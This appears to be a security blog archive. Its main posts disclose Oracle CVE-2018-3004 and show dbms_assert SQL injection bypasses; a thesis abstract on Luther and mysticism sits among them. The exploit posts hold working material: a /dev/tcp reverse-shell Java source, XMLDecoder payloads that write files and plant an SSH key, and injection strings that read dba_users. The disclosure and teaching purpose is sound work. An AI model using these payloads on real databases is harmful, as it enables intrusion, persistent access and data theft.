Wednesday, July 18, 2018

Oracle Privilege Escalation via Deserialization


Oracle Database is vulnerable to user privilege escalation via a java deserialization vector that bypasses built in Oracle JVM security.  Proper exploitation can allow an attacker to gain shell level access on the server and SYS level access to the database.

Oracle has opened CVE-2018-3004 for this issue.

Deserialization Vulnerabilities

Java deserialization vulnerabilities have been all the rage for the past few years.  In 2015, Foxglove security published an article detailing a critical security vulnerability in many J2EE application servers which left servers vulnerable to remote code execution.

There have been a number published exploits relying on Java deserializations since the 2015 Foxglove article, many based on the ysoserial library.  There have also been a number of CVEs opened, and patches issued to resolve these defects, including Oracle specific CVEs such as CVE-2018-2628, CVE-2017-10271, CVE-2015-4852

The majority of the published exploits focus on application servers vulnerable to deserialization attacks.  Today, however, I would like to explore Oracle Database and how it is vulnerable to a custom deserialization attack based on the tight integration of Java via Java Stored Procedures in Oracle Database.

The examples in this post were created using Oracle 12C, however, earlier versions of Oracle Database are also vulnerable.

Java Stored Procedures

Oracle Enterprise Edition has a Java Virtual Machine embedded into the database and Oracle Database supports native execution of Java via Java Stored Procedures

create function get_java_property(prop in varchar2) return varchar2
   is language java name ' return java.lang.String';

Basic JVM Protections

Of course if you have some level of familiarity with Java and penetration testing, you may immediately leap to the notion of creating a reverse shell compiled within Oracle Database:

SET scan off

create or replace and compile java source named ReverseShell as
public class ReverseShell{
   public static void getConnection(String ip, String port) throws InterruptedException, IOException{
      Runtime r = Runtime.getRuntime();
      Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});

create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';
This approach will not work as the Oracle JVM implements fine grain policy-based security to control access to the OS and filesystem.  Executing this procedure from a low-permissioned account results in errors.

Note the error stack contains the missing permission and command necessary to grant the access:

ORA-29532: Java call terminated by uncaught Java exception: the Permission ( /bin/bash execute) has not been granted to TESTER. The PL/SQL to grant this is dbms_java.grant_permission( 'TESTER', '','/bin/bash', 'execute' )

There have been previously reported methods to bypass the built-in Java permissions which will not be discussed in this post.  Instead I am going to demonstrate a new approach to bypassing these permissions via XML deserialization.

XML Deserialization

XML serialization and deserializtion exist in Java to support cross platform information exchange using a standardized industry format (in this case XML).  To this end, the java.beans library contains two classes:  XMLEncoder and XMLDecoder which are used to serialize a Java object into an XML format and at a later time, deserialize the object.

Typical deserialization vulnerabilities rely on the existence of a service that accepts and deserializes arbitrary input.  However, if you have access to a low-privileged Oracle account that can create objects in the user schema (i.e., a user with connect and resource) you can create your own vulnerable deserialization procedure.

As the "TESTER" user, I have created the following Java class "DecodeMe" and a Java Stored Procedure that invokes this class:

create or replace and compile java source named DecodeMe as
import java.beans.*;
public class DecodeMe{
    public static void input(String xml) throws InterruptedException, IOException {
      XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
      Object object = decoder.readObject();

    language java name 'DecodeMe.input(java.lang.String)';

The decodeme procedure will accept an arbitrary string of XML encoded Java and execute the provided instructions.  Information on the proper format for the serialized XML can be found here.  This block will simply call println to output data to the terminal.

 decodeme('<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out"> 
<void method="println">
<string>This is test output to the console</string>

The Vulnerability

Of course we don't need a deserialization process to print output to the console, so how exactly is this process vulnerable?  It turns out that the deserialization process bypasses JVM permission settings and allows a user to arbitrarily write to files on the OS.  See the following example script:

                <java class="java.beans.XMLDecoder" version="1.4.0" >
                   <object class="">
                      <string>/tmp/PleaseDoNotWork.txt </string>
                      <void method="write">
                         <string>Why for the love of god?</string>
                      <void method="close" />

Executing this anonymous block creates a file named "PleaseDoNotWork.txt" in the /tmp folder:

Therefore via deserialiazation, we can write arbitrary files to the file system, bypassing the built-in security restrictions.


As it turns out, we can not only write new files to the system, we can also overwrite or append any file on which the Oracle user has write permissions.  Clearly this has severe ramifications for the database, as an attacker could overwrite critical files - including control files - which could result in  a successful Denial of Service attack or data corruption.

However, with a carefully crafted payload, we can use this deserialization attack to gain access to the server as the Oracle user.

Assuming SSH is open on the server and configured to accept RSA connections, the following payload will append an RSA token to the Oracle account that manages the database processes.

                        <java class="java.beans.XMLDecoder" version="1.4.0">
                                <object class="">
                                <void method="write">
                                         <string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string>
                                <void method="close" />

When executed, the code will append an arbitrary RSA key to the Oracle users authorized_keys file, granting an attack SSH access as the Oracle user.

The Oracle user can access the database as SYS and the attacker has effectively compromised the entire database.


As Oracle Database has a high per instance cost, many production architectures rely on a shared-tennant model, where multiple mission applications leverage the same database, and application support users share access to the same system.  Furthermore, Oracle Exadata implementations often host multiple database instances on the same severs.

If a low privileged user, perhaps a tier-III support admin for a specific application, were to deploy this exploit, they could effectively gain access to the data and applications supporting an entire enterprise.


As we can see the deserialization design pattern implemented in java continues to create a myriad of vulnerabilities.  Security analysts should look beyond J2EE based deserializiation attacks and consider attack vectors based on other embedded implementations.

Reporting Timeline.

This issue was first reported to Oracle Support in January 2018, and was addressed in the July 2018 CPU released on July 17th, 2018. 

Update: Navigating the intricacies of Oracle patches can be quite the challenge.  The Oracle bug for this vulnerability is Bug 27923353, and the patch is for the OJVM system.  For this POC, the proper patch is OJVM release update (


Thursday, May 17, 2018

My Mispent Youth #TBT

In honor of Throwback Thursday, I'll take a detour from my usual dive into obtuse corners of penetration testing and security analysis, and take a look at another esoteric branch of knowledge that is in all ways devoid of practical application.

Prior to entering the IT field I made the completely fiscally sound decision to study History in college, and not just any history, but the esoteric, and certainly lucrative field of Theological History.

Much to my surprise, upon graduation, I was now showered with job offers, nor incentivized with rich stock option plans from Silicon Valley's best tech companies.  Rather, I putzed around a few years before entering into the world of IT.

However, my college education was not completely without utility, as I can now present to the morbidly curious, or those in need of a strong sleep aid, my Senior Honors Thesis.  The acknowledgments and abstract are included in this post as text, while the entirety is available for download as a PDF.


When I was first invited to enter the History Honors Thesis Seminar I had to ask myself what in God’s name such a thing was. The informational meeting left me asking myself what kind of masochist would actually enter such a program for fun? (and more importantly was I that kind of masochist?) And when I finally entered the program, and sat down in the first week to discuss the Spur Grant and the proposal writing process, I had to wonder just what kind of person actually wanted to give me money to write a paper about Lutheran theology. Luckily for me somebody did want to give me the money, and I found out, in the course of writing, that I was just the masochist this program was looking for. So many hours, many gallons of coffee, and several nervous breakdowns later I find myself able to sit back and reflect on who has made my decent into insanity possible. First and foremost the entire process would have been impossible without Abraham Friesen’s earnest corrections, immense knowledge, and repartee. Jonathan Glickstein’s box of red pens kept my writing style both concise, and intelligible, and his guidance throughout the seminar kept me from writing all 50 odd pages one week before the paper was due. (giving me more time to write this Acknowledgment section) Todd Clary’s aid in making the Latin language intelligible further aided the formulation of this work, as did the comments from the entire seminar. Finally I would like to thank Jen Dolan for her endless nagging about my grammar, and my roommate Dave for putting up with piles of theological books and dusty paper intruding on his filth.


Just prior to posting the 95 Theses on the Cathedral doors at Wittenburg, Martin Luther discovered several tracts on German Mysticism: a collection of sermons by Johannes Tauler and a work he named Eine Deutsche Theologie. This discovery of mysticism helped to further the development of Martin Luther’s own theology, and he immediately praised the usefulness of mysticism in understanding theology. Martin Luther’s theology was greatly influenced by the mysticism of Johannes Tauler up until around [520, at which point he made a decisive break with mysticism, favoring his own theology of the Righteousness of God. The key tenet of mysticism was that man was capable of bringing about a baptism of the Holy Spirit, while his belief in the righteousness of God dictated that man was utterly incapable of improving himself in the eyes of God. These two beliefs were not compatible, which Luther came to realize by 1519, This break with mysticism led to a decisive break and eventual conflict with the Radical Reformers such as the Zwickau Prophets and Thomas Muentzer. The Radical Reformers had, up until Luther’s break with mysticism, viewed Luther as a kindred spirit. When the Radicals entered Wittenburg in 1522 they expected to find a friend in Luther, but instead were rebuked. This rebuke eventually led to a conflict between the Radical Reformers and Martin Luther culminating in the 1525 Peasant’s revolt. Martin Luther’s relationship with mysticism highlights the development of his theology in the crucial years between 1516 and 1522. and further demonstrates the political consequences of his developing theology.

You can download the rest here.

Tuesday, April 24, 2018

Detecting and Implementing a DBMS_ASSERT Bypass


The previous post discussed a bug in older versions of the Oracle dbms_assert.enquote_literal method, that could allow an attacker to bypass SQL injection protections, and ex-filtrate system data.

This post will explore a "real-world" dbms_assert bypass scenario, and then explore some non-standard SQL injection approaches.

The Web App

For this example I have built a simple (and very ugly) web application, that allows a user to insert records in a table, and search records in that table.

The web application is built using modowa with an Oracle XE database on the backend.


Basic Functionality

The application itself is very simple.  It allows a user to enter new requests:

It also allows a user to search the existing request on any of the entered fields:

Under the Covers

Looking at the html for the web application we see two AJAX calls that handle the search and insert operations.

<title>Service Request Board</title>
function loadRequests() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("open").innerHTML = this.responseText;
  };"GET", "/pls/public/portal.pkg_service_requests.get_requests?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);
function addRequest() {
 var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("open").innerHTML = this.responseText;
  };"GET", "/pls/public/portal.pkg_service_requests.add_request?p_request_type="+document.getElementById("p_request_type").value+"&p_requestor="+ document.getElementById("p_requestor").value +"&p_email="+ document.getElementById("p_email").value +"&p_description="+ document.getElementById("p_description").value , true);

<body onload="loadRequests()">
<div name="title"><h1>Service Request Page</h1></div>
<div name="requests">
<h2>Open Requests</h2>
<div id="open" name="open">
<!-- load content via ajax -->
<div name="form">
<div><span>Type: <input id="p_request_type" type="text"></span></div>
<div><span>Name: <input id="p_requestor" type="text"></span></div>
<div><span>Email: <input id="p_email" type="text"></span></div>
<div><span>Description: <input id="p_description" type="text"></span>
<div><span><button name="search" onClick="loadRequests()">Search</button></span>
<span><button name="add" onClick="addRequest()">Add Request</button></span></div>

If we curl the two methods seen in java script functions above, we can better follow the service interaction.

curl -v ""


Scanning The Application

Now that we have a basic understanding of how the application works, we can run some scans using standard tools like OWASP ZAP and sqlmap.  Bear in mind that the insert method (pkg_service_requests.add_request) is vulnerable to SQL injection.

While OWASP ZAP detects that the service is vulnerable to Cross Site Scripting, it does not detect the SQL injection vulnerability.

We even see samples of the ZAP SQL injection attempt in the Service Request application.

Sqlmap fares slightly better than OWASP ZAP.  As you can see from the screen shots below, the scanner successfully detects that an Oracle database is used on the backend, and that the input parameters may be vulnerable to injection.  However, ultimately sqlmap is not able to form a hook to successfully inject the system.


The traditional SQL injection approach is to include the entire injection payload into one input parameter, escaping out of the input value by passing a single or double quote.

curl  "'%20or%201=1"

As we see, this service returns an Oracle error when we attempt this form of injection.

However, as shown in the previous post, if an old version of dbms_assert.enqoute_literal is being used, you can attempt to escape out of the input by passing a single quote (one ' ).  In the curl statement below  a single quote is passed to the p_email input parameter.

curl  "'&p_description=BATMAN"

Now, instead of a PL/SQL numeric or value error, we see a SQL syntax error: ORA-00917 missing comma.  We have found our injection path.  However, there is a small problem:  Our injection point is inside an insert statement.  This means that normal SQL injection approaches like appending to the where clause, or UNION injections will not work, as query data is not returned to the service.

Injecting an Insert Statement

While we cannot use simple SQL injection methods, we can inject Oracle built in variables and functions into the insert statement to glean some information from the system.  For instance, the Oracle built in functions USER and SYSDATE will tell us a little bit about the system, and also let us know that our injection path is working.

Manual injection of the service takes some time and trial and error, but successful execution ultimately reveals the name of the database user used for the service connection.

Before we manually inject the service, a quick review of oracle insert syntax, and common oracle insert errors.

With these errors as a reference point, we can run our initial injection:

curl  "'&p_description=BATMAN"

This fails with ORA-00917: missing comma error, and it is pretty easy add a comma:

curl  "'&p_description=,"

Resulting in an ORA-01756: quoted string not properly terminated error.  We cannot add a single ' to terminate the string without hitting the dbms_assert protections.  However we can comment out the trailing quote ' with an oracle comment --:

curl  "'&p_description=,--"

We now receive ORA-00936: missing expression, as we did not populate that insert column with any data.  We will use the Oracle built in USER function to test:

curl  "'&p_description=,USER--"

We now see another ORA-00917: missing comma error.  This could mean we need to add another record field, or it could mean we are missing a closing parentheses for the insert statement.  If we try the later, we see we are successful with the injection.

curl  "'&p_description=,USER)--"

We can see that the final injection statement successfully executes, and the name of the Oracle database user (PORTAL_USER) is revealed.

What to do with an Insert?

It may seem at first that a SQL injection attack on an insert statement has great potential destructive power, but little utility for the ex-filtration of data.  The next post will show how you can use a variety methods to query data using an attack vector based on an insert statement.

Thursday, April 19, 2018

Bypassing Oracle SQLi Protections

DBMS_ASSERT is a built in package in the Oracle database that is often used to protect dynamic SQL statements from SQL injection. However, on older Oracle databases (pre, one of the provided methods (DBMS_ASSERT.ENQUOTE_LITERAL) contains a bug that, in the right circumstances, can be used to bypass the protections and ex-filtrate data via a SQL injection attack.

Successful exploitation of the vulnerability is not difficult, but normal security scanners will not detect the issue, or if they do, they will not find a viable exploit path.  The remainder of this post will discuss the impacted Oracle versions, the dbms_assert.enquote_literal use case that is vulnerable to attack, and demonstrate a proof of concept for exploitation. 

Affected Oracle Versions 

Oracle Databases running 11g R2 through are affected.  The examples in this post all use an Oracle XE database running on an OEL virtual machine.

How is dbms_assert.enquote_literal used?

The method call in question is used to place a single quote ( one ' ) around a string, "en-quoting" it to be used for building of dynamic SQL statements.

This is very useful for a developer as it helps to avoid "escaping hell." Rather than building a dynamic sql manually adding escaped quotes to a string:

stmt := 'select * from users where user = ''' || usr_var || '''';

You can use dbms_assert.enquote_literal to handle the quotes for you and avoid the complexities of escaping your quotes:

stmt := 'select * from users where user = ' || dbms_assert.enqoute_literal(usr_var);

Saving a developer from "escaping hell" is not the primary purpose of the method.  The main reason to use the function is to protect against sql injection.  In normal SQLi scenarios a single quote is passed in to allow the attacker to break out of the dynamic sql, and embed a malicious code block.  The dbms_assert.enquote_literal method will throw an error if there is an unbalanced quote:


So how exactly does this protect against SQL injection?  Let us examine a simple Oracle pl/sql function that is vulnerable to SQL injection, starting with this table, populated with the given values:

create table example_table(id number primary key, value varchar2(100));

insert into example_table values (1,'Dog');

insert into example_table values (2,'Cat');

insert into example_table values (3,'Catfish');

insert into example_table values (4,'Dogwood');

insert into example_table values (5,'Wood');

Now we will build a function that queries the table, and is vulnerable to SQL injection:

create or replace function basic_sqli(input in varchar2) return xmltype

   stmt varchar2(100) := 'select id, value from example_table where upper(value) like upper(''%' || input || '%'')';
   cur  sys_refcursor;
   xml  xmltype;


   open cur for stmt;
   xml := xmltype.createxml(cur);
   return xml;



This is a pretty basic function.  It queries the table EXAMPLE_TABLE for any record that contains the search string passed in.  This query is the happy path execution:

select basic_sqli('o') from dual;

However, the function is also trivial to inject, with the following standard proof of concept injection inputs:

select basic_sqli('o'' ) or 1=1--') from dual;
select basic_sqli('o'' ) and 1=0--') from dual;

DBMS_ASSERT to protect against SQL injection

Now let us explore how dbms_assert.enquote_literal can be used to protect against SQL injection attacks.  We will slightly modify the previous function so that the user input is passed through a call to dbms_assert.enquote_literal prior to execution:

create or replace function protected_sqli(input in varchar2) return xmltype

   stmt varchar2(100);
   clean varchar2(100);
   cur  sys_refcursor;
   xml  xmltype;


   clean := dbms_assert.enquote_literal('%'||input||'%');
   stmt := 'select id, value from example_table where upper(value) like upper('|| clean || ')';
   open cur for stmt;
   xml := xmltype.createxml(cur);
   return xml;


As we can see the "happy path" behavior of the query remains the same:

select protected_sqli('o') from dual;


However the same SQL injection attack used previously now results in an error:

select protected_sqli('o'' ) or 1=1--') from dual;

The problem with dbms_assert.enquote_literal

So far, it looks like the method provides fairly robust protection against SQL injection.  However there is a crucial problem with the method in earlier versions of oracle.  If you pass a single quote to the method (which in SQLplus is escaped as '''') the function returns a single quote:

This single quote provides us with the escape vector we need to successfully inject a procedure.  This injection approach will not work with the previous example, as it requires an injection that spans multiple input fields.  However, consider the following function call, that allows for multiple search strings against our original table:

create or replace function bypassable_protected_sqli(in1 in varchar2, in2 varchar2) return xmltype

   stmt varchar2(1000);
   clean1 varchar2(100);
   clean2 varchar2(100);
   cur  sys_refcursor;
   xml  xmltype;


   clean1 := dbms_assert.enquote_literal(in1);
   clean2 := dbms_assert.enquote_literal(in2);
   stmt := 'select id, value from example_table where upper(value) = upper('|| clean1 || ') or upper(value) = upper(' || clean2 || ')';
   open cur for stmt;
   xml := xmltype.createxml(cur);
   return xml;


Note: I have added a dbms_output to this function to make it easier to see how the inputs are parsed.

Nominally the function will allow a user to query the table against two different inputs:

select bypassable_protected_sqli('cat','wood') from dual;

And the function executes the intended query:

select id, value from example_table 
where upper(value) = upper('cat') or upper(value) = upper('wood')

A traditional SQLi attack will not work, because the function is protected by dbms_assert:

select bypassable_protected_sqli('cat'' or 1=1--','wood') from dual;

However, if we pass a single quote (in SQLplus escaped to '''') we see that we can break out of the query and generate a syntax error in the dynamic sql statement:

select bypassable_protected_sqli('''','wood') from dual;

If you look at the resulting query you will see that we have inserted a single quote into the first condition:

 select id, value from example_table 
where upper(value) = upper(') or upper(value) = upper('wood')

Now that we have used the first parameter as our escape-vector we can use the second input parameter for our injection payload:

select bypassable_protected_sqli('''',') or 1=1--') from dual;

You can see how our second parameter input is treated as literal sql commands, with the final comment (--) forcing the parser to ignore the trailing quote.

select id, value from example_table 
where upper(value) = upper(') or upper(value) = upper(') or 1-1--') 

The first parameter becomes our escape vector, and we can add any injection query to the second parameter as long as it does not contain a quote (which would result in a dbms_assert error).  Here is an example querying the DBA_USERS table:

select bypassable_protected_sqli('''',') union select rownum, username from dba_users where rownum < 5--') from dual;

select id, value 
from example_table 
where upper(value) = upper(') or upper(value) = upper(') 
union select rownum, username from dba_users where rownum < 5--')


In the end, dbms_assert is one of many approaches to minimize the risk of SQL injection in dynamic queries.  However , the only way to really eliminate the risk of SQL injection is by using static cursors, or using bind variables when building dynamic SQL statements.

In future posts I will look at how sqlmap reports the results of injection attempts on queries built using dbms_assert.enquote_literal, and look at some other methods used in Oracle to protect against SQL injection.